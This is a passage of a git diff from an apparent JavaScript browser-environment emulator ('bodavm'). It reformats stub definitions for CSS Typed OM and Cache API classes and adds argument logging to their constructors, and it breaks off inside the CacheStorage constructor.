"is2D", {configurable:true, enumerable:true, get:function is2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "is2D_get", arguments)}, set:function is2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "is2D_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformComponent', "toMatrix", {configurable:true, enumerable:true, writable:true, value:function toMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "toMatrix", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformComponent', "toString", {configurable:true, enumerable:true, writable:true, value:function toString (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "toString", arguments)}},'prototype'); +// CSSTransformComponent对象 + +bodavm.memory.globalobj['CSSTransformComponent'] = function CSSTransformComponent() { + console.log_copy('CSSTransformComponent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSTransformComponent)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransformComponent'], "CSSTransformComponent"); +bodavm.toolsFunc.defineProperty('CSSTransformComponent', "is2D", { + configurable: true, + enumerable: true, + get: function is2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "is2D_get", arguments); + }, + set: function is2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "is2D_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformComponent', "toMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function toMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "toMatrix", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformComponent', "toString", { + configurable: true, + enumerable: true, + writable: true, + value: function toString() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformComponent'].prototype, "CSSTransformComponent", "toString", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSTransformValue.js b/env_xbb_lastest_jsdom/env/CSSTransformValue.js index 8c3d0af1..09b4270d 100644 --- a/env_xbb_lastest_jsdom/env/CSSTransformValue.js +++ b/env_xbb_lastest_jsdom/env/CSSTransformValue.js @@ -1,12 +1,75 @@ -// CSSTransformValue对象 -bodavm.memory.globalobj['CSSTransformValue'] = function CSSTransformValue(){if (!(this instanceof CSSTransformValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSTransformValue': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransformValue'], "CSSTransformValue"); -bodavm.memory.globalobj['CSSTransformValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSTransformValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSTransformValue', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "length_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "is2D", {configurable:true, enumerable:true, get:function is2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "is2D_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTransformValue', "toMatrix", {configurable:true, enumerable:true, writable:true, value:function toMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "toMatrix", arguments)}},'prototype'); +// CSSTransformValue对象 + +bodavm.memory.globalobj['CSSTransformValue'] = function CSSTransformValue() { + console.log_copy('CSSTransformValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSTransformValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSTransformValue': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransformValue'], "CSSTransformValue"); +bodavm.memory.globalobj['CSSTransformValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSTransformValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSTransformValue', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "length_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "is2D", { + configurable: true, + enumerable: true, + get: function is2D() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "is2D_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTransformValue', "toMatrix", { + configurable: true, + enumerable: true, + writable: true, + value: function toMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransformValue'].prototype, "CSSTransformValue", "toMatrix", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSTransition.js b/env_xbb_lastest_jsdom/env/CSSTransition.js index 16721592..7f2445c2 100644 --- a/env_xbb_lastest_jsdom/env/CSSTransition.js +++ b/env_xbb_lastest_jsdom/env/CSSTransition.js @@ -1,6 +1,27 @@ -// CSSTransition对象 -bodavm.memory.globalobj['CSSTransition'] = function CSSTransition(){if (!(this instanceof CSSTransition)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransition'], "CSSTransition"); -bodavm.memory.globalobj['CSSTransition'].prototype.__proto__=bodavm.memory.globalobj['Animation'].prototype; -bodavm.memory.globalobj['CSSTransition'].__proto__=bodavm.memory.globalobj['Animation']; -bodavm.toolsFunc.defineProperty('CSSTransition', "transitionProperty", {configurable:true, enumerable:true, get:function transitionProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransition'].prototype, "CSSTransition", "transitionProperty_get", arguments)}, set:undefined},'prototype'); +// CSSTransition对象 + +bodavm.memory.globalobj['CSSTransition'] = function CSSTransition() { + console.log_copy('CSSTransition 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSTransition)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTransition'], "CSSTransition"); +bodavm.memory.globalobj['CSSTransition'].prototype.__proto__ = bodavm.memory.globalobj['Animation'].prototype; +bodavm.memory.globalobj['CSSTransition'].__proto__ = bodavm.memory.globalobj['Animation']; +bodavm.toolsFunc.defineProperty('CSSTransition', "transitionProperty", { + configurable: true, + enumerable: true, + get: function transitionProperty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTransition'].prototype, "CSSTransition", "transitionProperty_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSTranslate.js b/env_xbb_lastest_jsdom/env/CSSTranslate.js index b9a406e3..685ae05f 100644 --- a/env_xbb_lastest_jsdom/env/CSSTranslate.js +++ b/env_xbb_lastest_jsdom/env/CSSTranslate.js @@ -1,8 +1,49 @@ -// CSSTranslate对象 -bodavm.memory.globalobj['CSSTranslate'] = function CSSTranslate(){if (!(this instanceof CSSTranslate)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSTranslate': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTranslate'], "CSSTranslate"); -bodavm.memory.globalobj['CSSTranslate'].prototype.__proto__=bodavm.memory.globalobj['CSSTransformComponent'].prototype; -bodavm.memory.globalobj['CSSTranslate'].__proto__=bodavm.memory.globalobj['CSSTransformComponent']; -bodavm.toolsFunc.defineProperty('CSSTranslate', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "x_get", arguments)}, set:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "x_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTranslate', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "y_get", arguments)}, set:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "y_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSTranslate', "z", {configurable:true, enumerable:true, get:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "z_get", arguments)}, set:function z (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "z_set", arguments)}},'prototype'); +// CSSTranslate对象 + +bodavm.memory.globalobj['CSSTranslate'] = function CSSTranslate() { + console.log_copy('CSSTranslate 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSTranslate)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSTranslate': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSTranslate'], "CSSTranslate"); +bodavm.memory.globalobj['CSSTranslate'].prototype.__proto__ = bodavm.memory.globalobj['CSSTransformComponent'].prototype; +bodavm.memory.globalobj['CSSTranslate'].__proto__ = bodavm.memory.globalobj['CSSTransformComponent']; +bodavm.toolsFunc.defineProperty('CSSTranslate', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "x_get", arguments); + }, + set: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "x_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTranslate', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "y_get", arguments); + }, + set: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "y_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSTranslate', "z", { + configurable: true, + enumerable: true, + get: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "z_get", arguments); + }, + set: function z() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSTranslate'].prototype, "CSSTranslate", "z_set", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSUnitValue.js b/env_xbb_lastest_jsdom/env/CSSUnitValue.js index 5d920956..c7a64762 100644 --- a/env_xbb_lastest_jsdom/env/CSSUnitValue.js +++ b/env_xbb_lastest_jsdom/env/CSSUnitValue.js @@ -1,7 +1,37 @@ -// CSSUnitValue对象 -bodavm.memory.globalobj['CSSUnitValue'] = function CSSUnitValue(){if (!(this instanceof CSSUnitValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSUnitValue': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSUnitValue'], "CSSUnitValue"); -bodavm.memory.globalobj['CSSUnitValue'].prototype.__proto__=bodavm.memory.globalobj['CSSNumericValue'].prototype; -bodavm.memory.globalobj['CSSUnitValue'].__proto__=bodavm.memory.globalobj['CSSNumericValue']; -bodavm.toolsFunc.defineProperty('CSSUnitValue', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "value_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnitValue', "unit", {configurable:true, enumerable:true, get:function unit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "unit_get", arguments)}, set:undefined},'prototype'); +// CSSUnitValue对象 + +bodavm.memory.globalobj['CSSUnitValue'] = function CSSUnitValue() { + console.log_copy('CSSUnitValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSUnitValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSUnitValue': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSUnitValue'], "CSSUnitValue"); +bodavm.memory.globalobj['CSSUnitValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSNumericValue'].prototype; +bodavm.memory.globalobj['CSSUnitValue'].__proto__ = bodavm.memory.globalobj['CSSNumericValue']; +bodavm.toolsFunc.defineProperty('CSSUnitValue', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnitValue', "unit", { + configurable: true, + enumerable: true, + get: function unit() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnitValue'].prototype, "CSSUnitValue", "unit_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSUnparsedValue.js b/env_xbb_lastest_jsdom/env/CSSUnparsedValue.js index b8eee0c9..e01f9c55 100644 --- a/env_xbb_lastest_jsdom/env/CSSUnparsedValue.js +++ b/env_xbb_lastest_jsdom/env/CSSUnparsedValue.js @@ -1,10 +1,59 @@ -// CSSUnparsedValue对象 -bodavm.memory.globalobj['CSSUnparsedValue'] = function CSSUnparsedValue(){if (!(this instanceof CSSUnparsedValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSUnparsedValue': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSUnparsedValue'], "CSSUnparsedValue"); -bodavm.memory.globalobj['CSSUnparsedValue'].prototype.__proto__=bodavm.memory.globalobj['CSSStyleValue'].prototype; -bodavm.memory.globalobj['CSSUnparsedValue'].__proto__=bodavm.memory.globalobj['CSSStyleValue']; -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "entries", {configurable:true, enumerable:true, writable:true, value:function entries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "entries", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "keys", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "values", {configurable:true, enumerable:true, writable:true, value:function values (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "values", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "forEach", {configurable:true, enumerable:true, writable:true, value:function forEach (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "forEach", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "length", {configurable:true, enumerable:true, get:function length (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "length_get", arguments)}, set:undefined},'prototype'); +// CSSUnparsedValue对象 + +bodavm.memory.globalobj['CSSUnparsedValue'] = function CSSUnparsedValue() { + console.log_copy('CSSUnparsedValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSUnparsedValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSUnparsedValue': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSUnparsedValue'], "CSSUnparsedValue"); +bodavm.memory.globalobj['CSSUnparsedValue'].prototype.__proto__ = bodavm.memory.globalobj['CSSStyleValue'].prototype; +bodavm.memory.globalobj['CSSUnparsedValue'].__proto__ = bodavm.memory.globalobj['CSSStyleValue']; +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "values", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSUnparsedValue', "length", { + configurable: true, + enumerable: true, + get: function length() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSUnparsedValue'].prototype, "CSSUnparsedValue", "length_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSVariableReferenceValue.js b/env_xbb_lastest_jsdom/env/CSSVariableReferenceValue.js index bb989c10..00a37dc4 100644 --- a/env_xbb_lastest_jsdom/env/CSSVariableReferenceValue.js +++ b/env_xbb_lastest_jsdom/env/CSSVariableReferenceValue.js @@ -1,5 +1,35 @@ -// CSSVariableReferenceValue对象 -bodavm.memory.globalobj['CSSVariableReferenceValue'] = function CSSVariableReferenceValue(){if (!(this instanceof CSSVariableReferenceValue)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSVariableReferenceValue': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSVariableReferenceValue'], "CSSVariableReferenceValue"); -bodavm.toolsFunc.defineProperty('CSSVariableReferenceValue', "variable", {configurable:true, enumerable:true, get:function variable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "variable_get", arguments)}, set:function variable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "variable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('CSSVariableReferenceValue', "fallback", {configurable:true, enumerable:true, get:function fallback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "fallback_get", arguments)}, set:undefined},'prototype'); +// CSSVariableReferenceValue对象 + +bodavm.memory.globalobj['CSSVariableReferenceValue'] = function CSSVariableReferenceValue() { + console.log_copy('CSSVariableReferenceValue 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSVariableReferenceValue)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'CSSVariableReferenceValue': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSVariableReferenceValue'], "CSSVariableReferenceValue"); +bodavm.toolsFunc.defineProperty('CSSVariableReferenceValue', "variable", { + configurable: true, + enumerable: true, + get: function variable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "variable_get", arguments); + }, + set: function variable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "variable_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('CSSVariableReferenceValue', "fallback", { + configurable: true, + enumerable: true, + get: function fallback() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSVariableReferenceValue'].prototype, "CSSVariableReferenceValue", "fallback_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/Cache.js b/env_xbb_lastest_jsdom/env/Cache.js index 5500d40e..49a7ce31 100644 --- a/env_xbb_lastest_jsdom/env/Cache.js +++ b/env_xbb_lastest_jsdom/env/Cache.js @@ -1,20 +1,73 @@ // Cache对象 -bodavm.memory.globalobj['Cache'] = function Cache(){if (!(this instanceof Cache)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['Cache'] = function Cache() { + console.log_copy('Cache 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof Cache)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Cache'], "Cache"); - -bodavm.toolsFunc.defineProperty('Cache', "add", {configurable:true, enumerable:true, writable:true, value:function add (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "add", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "addAll", {configurable:true, enumerable:true, writable:true, value:function addAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "addAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "delete", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "delete", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "keys", {configurable:true, enumerable:true, writable:true, value:function keys (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "keys", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "match", {configurable:true, enumerable:true, writable:true, value:function match (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "match", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "matchAll", {configurable:true, enumerable:true, writable:true, value:function matchAll (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "matchAll", arguments)}},'prototype'); - -bodavm.toolsFunc.defineProperty('Cache', "put", {configurable:true, enumerable:true, writable:true, value:function put (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "put", arguments)}},'prototype'); - +bodavm.toolsFunc.defineProperty('Cache', "add", { + configurable: true, + enumerable: true, + writable: true, + value: function add() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "add", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "addAll", { + configurable: true, + enumerable: true, + writable: true, + value: function addAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "addAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "delete", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "delete", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "match", { + configurable: true, + enumerable: true, + writable: true, + value: function match() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "match", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "matchAll", { + configurable: true, + enumerable: true, + writable: true, + value: function matchAll() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "matchAll", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('Cache', "put", { + configurable: true, + enumerable: true, + writable: true, + value: function put() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Cache'].prototype, "Cache", "put", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CacheStorage.js b/env_xbb_lastest_jsdom/env/CacheStorage.js index 6b476fc8..f953c4e1 100644 --- a/env_xbb_lastest_jsdom/env/CacheStorage.js +++ b/env_xbb_lastest_jsdom/env/CacheStorage.js @@ -1,16 +1,57 @@ // CacheStorage对象 -bodavm.memory.globalobj['CacheStorage'] = function CacheStorage(){if (!(this instanceof CacheStorage)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['CacheStorage'] = function CacheStorage() { + 